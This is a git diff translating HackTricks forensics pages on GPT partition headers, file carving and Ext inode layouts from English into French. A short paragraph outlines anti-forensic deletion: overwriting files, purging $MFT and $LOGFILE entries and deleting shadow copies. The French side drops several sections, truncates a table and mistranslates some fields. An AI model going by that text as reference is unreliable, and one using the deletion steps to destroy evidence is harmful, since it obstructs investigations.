0**. The MBR occupies 32bits while **GPT** uses **64bits**.\ -GPT **allows up to 128 partitions** in Windows and up to **9.4ZB**.\ -Also, partitions can have a 36 character Unicode name. +Sur un disque MBR, le partitionnement et les données de démarrage sont stockés au même endroit. Si ces données sont écrasées ou corrompues, vous êtes en difficulté. En revanche, GPT stocke plusieurs copies de ces données sur le disque, il est donc beaucoup plus robuste et peut récupérer les données endommagées si nécessaire. -On an MBR disk, the partitioning and boot data are stored in one place. If this data is overwritten or corrupted, you’re in trouble. In contrast, **GPT stores multiple copies of this data across the disk**, so it’s much more robust and can recover if the data is corrupted. +GPT stocke également des valeurs de contrôle de redondance cyclique (CRC) pour vérifier que ses données sont intactes. Si les données sont corrompues, GPT peut détecter le problème et tenter de récupérer les données endommagées à partir d'un autre emplacement sur le disque. -GPT also stores **cyclic redundancy check (CRC)** values to check that its data is intact. If the data is corrupted, GPT can notice the problem and **attempt to recover the damaged data** from another location on the disk. +**MBR protecteur (LBA0)** -**Protective MBR (LBA0)** - -For limited backward compatibility, the space of the legacy MBR is still reserved in the GPT specification, but it is now used in a **way that prevents MBR-based disk utilities from misrecognizing and possibly overwriting GPT disks**. This is referred to as a protective MBR. +Pour une compatibilité limitée avec les anciens systèmes, l'espace du MBR hérité est toujours réservé dans la spécification GPT, mais il est maintenant utilisé de manière à empêcher les utilitaires de disque basés sur MBR de mal reconnaître et de potentiellement écraser les disques GPT. Cela est appelé un MBR protecteur. ![](<../../../.gitbook/assets/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**MBR hybride (LBA 0 + GPT)** -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +Dans les systèmes d'exploitation qui prennent en charge le démarrage basé sur GPT via les services BIOS plutôt que EFI, le premier secteur peut également être utilisé pour stocker le premier stade du code de chargeur de démarrage, mais modifié pour reconnaître les partitions GPT. Le chargeur de démarrage dans le MBR ne doit pas supposer une taille de secteur de 512 octets. -**Partition table header (LBA 1)** +**En-tête de table de partition (LBA 1)** -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +L'en-tête de table de partition définit les blocs utilisables sur le disque. Il définit également le nombre et la taille des entrées de partition qui composent la table de partition (décalages 80 et 84 dans la table). -| Offset | Length | Contents | -| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| Décalage | Longueur | Contenu | +| ---------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8 octets | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ou 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8) sur les machines little-endian) | +| 8 (0x08) | 4 octets | Révision 1.0 (00h 00h 01h 00h) pour UEFI 2.8 | +| 12 (0x0C) | 4 octets | Taille de l'en-tête en little endian (en octets, généralement 5Ch 00h 00h 00h ou 92 octets) | +| 16 (0x10) | 4 octets | [CRC32](https://en.wikipedia.org/wiki/CRC32) de l'en-tête (décalage +0 jusqu'à la taille de l'en-tête) en little endian, avec ce champ mis à zéro pendant le calcul | +| 20 (0x14) | 4 octets | Réservé ; doit être zéro | +| 24 (0x18) | 8 octets | LBA actuel (emplacement de cette copie d'en-tête) | +| 32 (0x20) | 8 octets | LBA de sauvegarde (emplacement de l'autre copie d'en-tête) | +| 40 (0x28) | 8 octets | Premier LBA utilisable pour les partitions (dernier LBA de la table de partition primaire + 1) | +| 48 (0x30) | 8 octets | Dernier LBA utilisable (premier LBA de la table de partition secondaire - 1) | +| 56 (0x38) | 16 octets | GUID de disque en endian mixte | +| 72 (0x48) | 8 octets | LBA de départ d'un tableau d'entrées de partition (toujours 2 dans la copie primaire) | +| 80 (0x50) | 4 octets | Nombre d'entrées de partition dans le tableau | +| 84 (0x54) | 4 octets | Taille d'une seule entrée de partition (généralement 80h ou 128) | +| 88 (0x58) | 4 octets | CRC32 du tableau d'entrées de partition en little endian | +| 92 (0x5C) | \* | Réservé ; doit être zéro pour le reste du bloc (420 octets pour une taille de secteur de 512 octets ; mais peut être plus avec des tailles de secteur plus grandes) | -**Partition entries (LBA 2–33)** +**Entrées de partition (LBA 2-33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Format d'entrée de partition GUID | | +### **Sculpture de fichiers** -**Partitions Types** +La **sculpture de fichiers** est une technique qui tente de **trouver des fichiers dans une masse de données**. Il existe 3 façons principales dont les outils comme celui-ci fonctionnent : **en se basant sur les en-têtes et les pieds de page des types de fichiers**, en se basant sur les **structures** des types de fichiers et en se basant sur le **contenu** lui-même. -![](<../../../.gitbook/assets/image (492).png>) +Notez que cette technique **ne fonctionne pas pour récupérer des fichiers fragmentés**. Si un fichier **n'est pas stocké dans des secteurs contigus**, alors cette technique ne pourra pas le trouver ou du moins une partie de celui-ci. -More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) - -### Inspecting - -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: - -![](<../../../.gitbook/assets/image (494).png>) - -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). - -## File-Systems - -### Windows file-systems list - -* **FAT12/16**: MSDOS, WIN95/98/NT/200 -* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 -* **ExFAT**: 2008/2012/2016/VISTA/7/8/10 -* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 -* **ReFS**: 2012/2016 - -### FAT - -The **FAT (File Allocation Table)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. - -![](<../../../.gitbook/assets/image (495).png>) - -The minimum space unit used by this file system is a **cluster, typically 512B** (which is composed of a number of sectors). - -The earlier **FAT12** had a **cluster addresses to 12-bit** values with up to **4078** **clusters**; it allowed up to 4084 clusters with UNIX. The more efficient **FAT16** increased to **16-bit** cluster address allowing up to **65,517 clusters** per volume. FAT32 uses 32-bit cluster address allowing up to **268,435,456 clusters** per volume - -The **maximum file size allowed by FAT is 4GB** (minus one byte) because the file system uses a 32-bit field to store the file size in bytes, and 2^32 bytes = 4 GiB. This happens for FAT12, FAT16 and FAT32. - -The **root directory** occupies a **specific position** for both FAT12 and FAT16 (in FAT32 it occupies a position like any other folder). Each file/folder entry contains this information: - -* Name of the file/folder (8 chars max) -* Attributes -* Date of creation -* Date of modification -* Date of last access -* Address of the FAT table where the first cluster of the file starts -* Size - -When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to 0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In the case of FAT32, it is additionally an erased field responsible for the upper 16 bits of the file start cluster value. - -### **NTFS** - -{% content-ref url="ntfs.md" %} -[ntfs.md](ntfs.md) -{% endcontent-ref %} - -### EXT - -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. - -{% content-ref url="ext.md" %} -[ext.md](ext.md) -{% endcontent-ref %} - -## **Metadata** - -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: - -* Title -* MS Office Version used -* Author -* Dates of creation and last modification -* Model of the camera -* GPS coordinates -* Image information - -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. - -## **Deleted Files Recovery** - -### Logged Deleted Files - -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. - -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Il existe plusieurs outils que vous pouvez utiliser pour la sculpture de fichiers en indiquant les types de fichiers que vous souhaitez rechercher. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### **File Carving** +### Sculpture de flux de données -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. - -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. - -There are several tools that you can use for file Carving indicating the file types you want to search for +La sculpture de flux de données est similaire à la sculpture de fichiers, mais **au lieu de chercher des fichiers complets, elle cherche des fragments intéressants** d'informations.\ +Par exemple, au lieu de chercher un fichier complet contenant des URL enregistrées, cette technique recherchera des URL. {% content-ref url="file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Data Stream **C**arving +### Suppression sécurisée -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +De toute évidence, il existe des moyens de **supprimer "de manière sécurisée" des fichiers et des parties de journaux à leur sujet**. Par exemple, il est possible de **écraser le contenu** d'un fichier avec des données inutiles plusieurs fois, puis **supprimer** les **journaux** du **$MFT** et du **$LOGFILE** à propos du fichier, et **supprimer les copies d'ombre de volume**.\ +Vous pouvez remarquer que même en effectuant cette action, il peut y avoir **d'autres parties où l'existence du fichier est encore enregistrée**, et c'est vrai et une partie du travail professionnel de la criminalistique est de les trouver. -{% content-ref url="file-data-carving-recovery-tools.md" %} -[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) -{% endcontent-ref %} - -### Secure Deletion - -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. - -## References +## Références * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) @@ -258,10 +145,10 @@ You may notice that even performing that action there might be **other parts whe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md index cc1513cff..24470c1d5 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ext.md @@ -1,256 +1,211 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop)! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection d'exclusivités [NFTs](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- Rejoignez le [💬](https://emojipedia.org/speech-balloon/) groupe Discord ou le groupe [telegram](https://t.me/peass) ou suivez-moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).
-# Ext - Extended Filesystem +# Ext - Système de fichiers étendu -**Ext2** is the most common filesystem for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** est le système de fichiers le plus courant pour les partitions **sans journalisation** (**partitions qui ne changent pas beaucoup**) comme la partition de démarrage. **Ext3/4** sont **journalisés** et sont utilisés généralement pour les **autres partitions**. -All block groups in the filesystem have the same size and are stored sequentially. This allows the kernel to easily derive the location of a block group in a disk from its integer index. +Tous les groupes de blocs du système de fichiers ont la même taille et sont stockés séquentiellement. Cela permet au noyau de déduire facilement l'emplacement d'un groupe de blocs sur un disque à partir de son index entier. -Every block group contains the following pieces of information: +Chaque groupe de blocs contient les éléments d'information suivants : -* A copy of the filesystem’s superblock -* A copy of the block group descriptors -* A data block bitmap which is used to identify the free blocks inside the group -* An inode bitmap, which is used to identify the free inodes inside the group -* inode table: it consists of a series of consecutive blocks, each of which contains a predefined Figure 1 Ext2 inode number of inodes. All inodes have the same size: 128 bytes. A 1,024 byte block contains 8 inodes, while a 4,096-byte block contains 32 inodes. Note that in Ext2, there is no need to store on disk a mapping between an inode number and the corresponding block number because the latter value can be derived from the block group number and the relative position inside the inode table. For example, suppose that each block group contains 4,096 inodes and that we want to know the address on the disk of inode 13,021. In this case, the inode belongs to the third block group and its disk address is stored in the 733rd entry of the corresponding inode table. As you can see, the inode number is just a key used by the Ext2 routines to retrieve the proper inode descriptor on the disk quickly -* data blocks, containing files. Any block which does not contain any meaningful information is said to be free. +* Une copie du superblock du système de fichiers +* Une copie des descripteurs de groupe de blocs +* Une carte de bits de blocs de données qui est utilisée pour identifier les blocs libres à l'intérieur du groupe +* Une carte de bits d'inode, qui est utilisée pour identifier les inodes libres à l'intérieur du groupe +* Table d'inodes : elle se compose d'une série de blocs consécutifs, chacun contenant un nombre prédéfini Figure 1 Ext2 d'inodes. Tous les inodes ont la même taille : 128 octets. Un bloc de 1 024 octets contient 8 inodes, tandis qu'un bloc de 4 096 octets contient 32 inodes. Notez qu'en Ext2, il n'est pas nécessaire de stocker sur le disque une correspondance entre un numéro d'inode et le numéro de bloc correspondant car cette dernière valeur peut être déduite du numéro de groupe de blocs et de la position relative à l'intérieur de la table d'inodes. Par exemple, supposons que chaque groupe de blocs contient 4 096 inodes et que nous voulons connaître l'adresse sur le disque de l'inode 13 021. Dans ce cas, l'inode appartient au troisième groupe de blocs et son adresse sur le disque est stockée dans la 733ème entrée de la table d'inodes correspondante. Comme vous pouvez le voir, le numéro d'inode est simplement une clé utilisée par les routines Ext2 pour récupérer rapidement le descripteur d'inode approprié sur le disque. +* blocs de données, contenant des fichiers. Tout bloc qui ne contient aucune information significative est dit être libre. ![](<../../../.gitbook/assets/image (406).png>) -## Ext Optional Features +## Fonctionnalités optionnelles d'Ext -**Features affect where** the data is located, **how** the data is stored in inodes and some of them might supply **additional metadata** for analysis, therefore features are important in Ext. +Les **fonctionnalités affectent l'emplacement** des données, **la façon dont** les données sont stockées dans les inodes et certaines d'entre elles peuvent fournir des **métadonnées supplémentaires** pour l'analyse, donc les fonctionnalités sont importantes dans Ext. -Ext has optional features that your OS may or may not support, there are 3 possibilities: +Ext a des fonctionnalités optionnelles que votre système d'exploitation peut ou non prendre en charge, il y a 3 possibilités : * Compatible * Incompatible -* Compatible Read Only: It can be mounted but not for writing +* Compatible en lecture seule : il peut être monté mais pas pour l'écriture -If there are **incompatible** features you won't be able to mount the filesystem as the OS won't know how the access the data. +S'il y a des fonctionnalités **incompatibles**, vous ne pourrez pas monter le système de fichiers car le système d'exploitation ne saura pas comment accéder aux données. {% hint style="info" %} -A suspected attacker might have non-standard extensions +Un attaquant présumé pourrait avoir des extensions non standard {% endhint %} -**Any utility** that reads the **superblock** will be able to indicate the **features** of an **Ext filesystem**, but you could also use `file -sL /dev/sd*` - -## Superblock - -The superblock is the first 1024 bytes from the start and it's repeated in the first block of each group and contains: - -* Block size -* Total blocks -* Blocks per block group -* Reserved blocks before the first block group -* Total inodes -* Inodes per block group -* Volume name -* Last write time -* Last mount time -* Path where the file system was last mounted -* Filesystem status (clean?) - -It's possible to obtain this information from an Ext filesystem file using: - +**Tout utilitaire** qui lit le **superblock** sera en mesure d'indiquer les **fonctionnalités** d'un **système de fichiers Ext**, mais vous pouvez également utiliser `file -sL /dev/sd*` pour obtenir cette information à partir d'un fichier système de fichiers Ext. ```bash fsstat -o /pat/to/filesystem-file.ext #You can get the with the "p" command inside fdisk ``` - -You can also use the free GUI application: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ -Or you can also use **python** to obtain the superblock information: [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) +Vous pouvez également utiliser l'application GUI gratuite : [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\ +Ou vous pouvez également utiliser **python** pour obtenir les informations de superblock : [https://pypi.org/project/superblock/](https://pypi.org/project/superblock/) ## inodes -The **inodes** contain the list of **blocks** that **contains** the actual **data** of a **file**.\ -If the file is big, and inode **may contain pointers** to **other inodes** that point to the blocks/more inodes containing the file data. +Les **inodes** contiennent la liste des **blocs** qui **contiennent** les **données** réelles d'un **fichier**.\ +Si le fichier est grand, un inode **peut contenir des pointeurs** vers d'autres inodes qui pointent vers les blocs/autres inodes contenant les données du fichier. ![](<../../../.gitbook/assets/image (416).png>) -In **Ext2** and **Ext3** inodes are of size **128B**, **Ext4** currently uses **156B** but allocates **256B** on disk to allow a future expansion. +Dans **Ext2** et **Ext3**, les inodes ont une taille de **128B**, **Ext4** utilise actuellement **156B** mais alloue **256B** sur le disque pour permettre une expansion future. -Inode structure: +Structure d'un inode : -| Offset | Size | Name | DescriptionF | -| ------ | ---- | ----------------- | ------------------------------------------------ | -| 0x0 | 2 | File Mode | File mode and type | -| 0x2 | 2 | UID | Lower 16 bits of owner ID | -| 0x4 | 4 | Size Il | Lower 32 bits of file size | -| 0x8 | 4 | Atime | Access time in seconds since epoch | -| 0xC | 4 | Ctime | Change time in seconds since epoch | -| 0x10 | 4 | Mtime | Modify time in seconds since epoch | -| 0x14 | 4 | Dtime | Delete time in seconds since epoch | -| 0x18 | 2 | GID | Lower 16 bits of group ID | -| 0x1A | 2 | Hlink count | Hard link count | -| 0xC | 4 | Blocks Io | Lower 32 bits of block count | -| 0x20 | 4 | Flags | Flags | -| 0x24 | 4 | Union osd1 | Linux: I version | -| 0x28 | 69 | Block\[15] | 15 points to data block | -| 0x64 | 4 | Version | File version for NFS | -| 0x68 | 4 | File ACL low | Lower 32 bits of extended attributes (ACL, etc) | -| 0x6C | 4 | File size hi | Upper 32 bits of file size (ext4 only) | -| 0x70 | 4 | Obsolete fragment | An obsoleted fragment address | -| 0x74 | 12 | Osd 2 | Second operating system dependent union | -| 0x74 | 2 | Blocks hi | Upper 16 bits of block count | -| 0x76 | 2 | File ACL hi | Upper 16 bits of extended attributes (ACL, etc.) | -| 0x78 | 2 | UID hi | Upper 16 bits of owner ID | -| 0x7A | 2 | GID hi | Upper 16 bits of group ID | -| 0x7C | 2 | Checksum Io | Lower 16 bits of inode checksum | +| Offset | Taille | Nom | Description | +| ------ | ------ | ---------------- | ------------------------------------------------ | +| 0x0 | 2 | Mode de fichier | Mode de fichier et type | +| 0x2 | 2 | UID | 16 bits inférieurs de l'ID du propriétaire | +| 0x4 | 4 | Taille Il | 32 bits inférieurs de la taille du fichier | +| 0x8 | 4 | Atime | Temps d'accès en secondes depuis l'époque | +| 0xC | 4 | Ctime | Temps de modification en secondes depuis l'époque | +| 0x10 | 4 | Mtime | Temps de modification en secondes depuis l'époque | +| 0x14 | 4 | Dtime | Temps de suppression en secondes depuis l'époque | +| 0x18 | 2 | GID | 16 bits inférieurs de l'ID de groupe | +| 0x1A | 2 | Compteur de lien | Nombre de liens rigides | +| 0xC | 4 | Blocs Io | 32 bits inférieurs du nombre de blocs | +| 0x20 | 4 | Drapeaux | Drapeaux | +| 0x24 | 4 | Union osd1 | Linux : version I | +| 0x28 | 69 | Bloc\[15] | 15 points vers le bloc de données | +| 0x64 | 4 | Version | Version de fichier pour NFS | +| 0x68 | 4 | ACL de fichier bas | 32 bits inférieurs des attributs étendus (ACL, etc.) | +| 0x6C | 4 | Taille de fichier hi | 32 bits supérieurs de la taille du fichier (ext4 uniquement) | +| 0x70 | 4 | Fragment obsolète | Une adresse de fragment obsolète | +| 0x74 | 12 | Osd 2 | Deuxième union dépendante du système d'exploitation | +| 0x74 | 2 | Blocs hi | 16 bits supérieurs du nombre de blocs | +| 0x76 | 2 | ACL de fichier hi | 16 bits supérieurs des attributs étendus (ACL, etc.) | +| 0x78 | 2 | UID hi | 16 bits supérieurs de l'ID du propriétaire | +| 0x7A | 2 | GID hi | 16 bits supérieurs de l'ID de groupe | +| 0x7C | 2 | Somme de contrôle Io | 16 bits inférieurs de la somme de contrôle d'inode | -"Modify" is the timestamp of the last time the file's _content_ has been modified. This is often called "_mtime_".\ -"Change" is the timestamp of the last time the file's _inode_ has been changed, like by changing permissions, ownership, file name, and the number of hard links. It's often called "_ctime_". +"Modifier" est l'horodatage de la dernière fois que le contenu du fichier a été modifié. On l'appelle souvent "_mtime_".\ +"Changer" est l'horodatage de la dernière fois que l'_inode_ du fichier a été modifié, par exemple en modifiant les autorisations, la propriété, le nom de fichier et le nombre de liens rigides. On l'appelle souvent "_ctime_". -Inode structure extended (Ext4): +Structure étendue d'un inode (Ext4) : -| Offset | Size | Name | Description | -| ------ | ---- | ------------ | ------------------------------------------- | -| 0x80 | 2 | Extra size | How many bytes beyond standard 128 are used | -| 0x82 | 2 | Checksum hi | Upper 16 bits of inode checksum | -| 0x84 | 4 | Ctime extra | Change time extra bits | -| 0x88 | 4 | Mtime extra | Modify time extra bits | -| 0x8C | 4 | Atime extra | Access time extra bits | -| 0x90 | 4 | Crtime | File create time (seconds since epoch) | -| 0x94 | 4 | Crtime extra | File create time extra bits | -| 0x98 | 4 | Version hi | Upper 32 bits of version | -| 0x9C | | Unused | Reserved space for future expansions | +| Offset | Taille | Nom | Description | +| ------ | ------ | ----------- | ------------------------------------------- | +| 0x80 | 2 | Taille supplémentaire | Combien d'octets au-delà des 128 standard sont utilisés | +| 0x82 | 2 | Somme de contrôle hi | 16 bits supérieurs de la somme de contrôle d'inode | +| 0x84 | 4 | Ctime extra | Bits supplémentaires de temps de modification | +| 0x88 | 4 | Mtime extra | Bits supplémentaires de temps de modification | +| 0x8C | 4 | Atime extra | Bits supplémentaires de temps d'accès | +| 0x90 | 4 | Crtime | Temps de création de fichier (secondes depuis l'époque) | +| 0x94 | 4 | Crtime extra | Bits supplémentaires de temps de création de fichier | +| 0x98 | 4 | Version hi | 32 bits supérieurs de la version | +| 0x9C | | Inutilisé | Espace réservé pour les futures extensions | -Special inodes: +Inodes spéciaux : -| Inode | Special Purpose | +| Inode | Objectif spécial | | ----- | ---------------------------------------------------- | -| 0 | No such inode, numberings starts at 1 | -| 1 | Defective block list | -| 2 | Root directory | -| 3 | User quotas | -| 4 | Group quotas | -| 5 | Boot loader | -| 6 | Undelete directory | -| 7 | Reserved group descriptors (for resizing filesystem) | +| 0 | Aucun inode de ce type, la numérotation commence à 1 | +| 1 | Liste de blocs défectueux | +| 2 | Répertoire racine | +| 3 | Quotas utilisateur | +| 4 | Quotas de groupe | +| 5 | Chargeur de démarrage | +| 6 | Répertoire de récupération | +| 7 | Descripteurs de groupe réservés (pour redimensionner le système de fichiers) | | 8 | Journal | -| 9 | Exclude inode (for snapshots) | -| 10 | Replica inode | -| 11 | First non-reserved inode (often lost + found) | +| 9 | Exclure l'inode (pour les instantanés) | +| 10 | Inode de réplica | +| 11 | Premier inode non réservé (souvent perdu + trouvé) | {% hint style="info" %} -Not that the creation time only appears in Ext4. +Notez que l'heure de création n'apparaît que dans Ext4. {% endhint %} -By knowing the inode number you can easily find its index: - -* **Block group** where an inode belongs: (Inode number - 1) / (Inodes per group) -* **Index inside it's group**: (Inode number - 1) mod(Inodes/groups) -* **Offset** into **inode table**: Inode number \* (Inode size) -* The "-1" is because the inode 0 is undefined (not used) +En connaissant le numéro d'inode, vous pouvez facilement trouver son index : +* **Groupe de blocs** où appartient un inode : (Numéro d'inode - 1) / (Inodes par groupe) +* **Index à 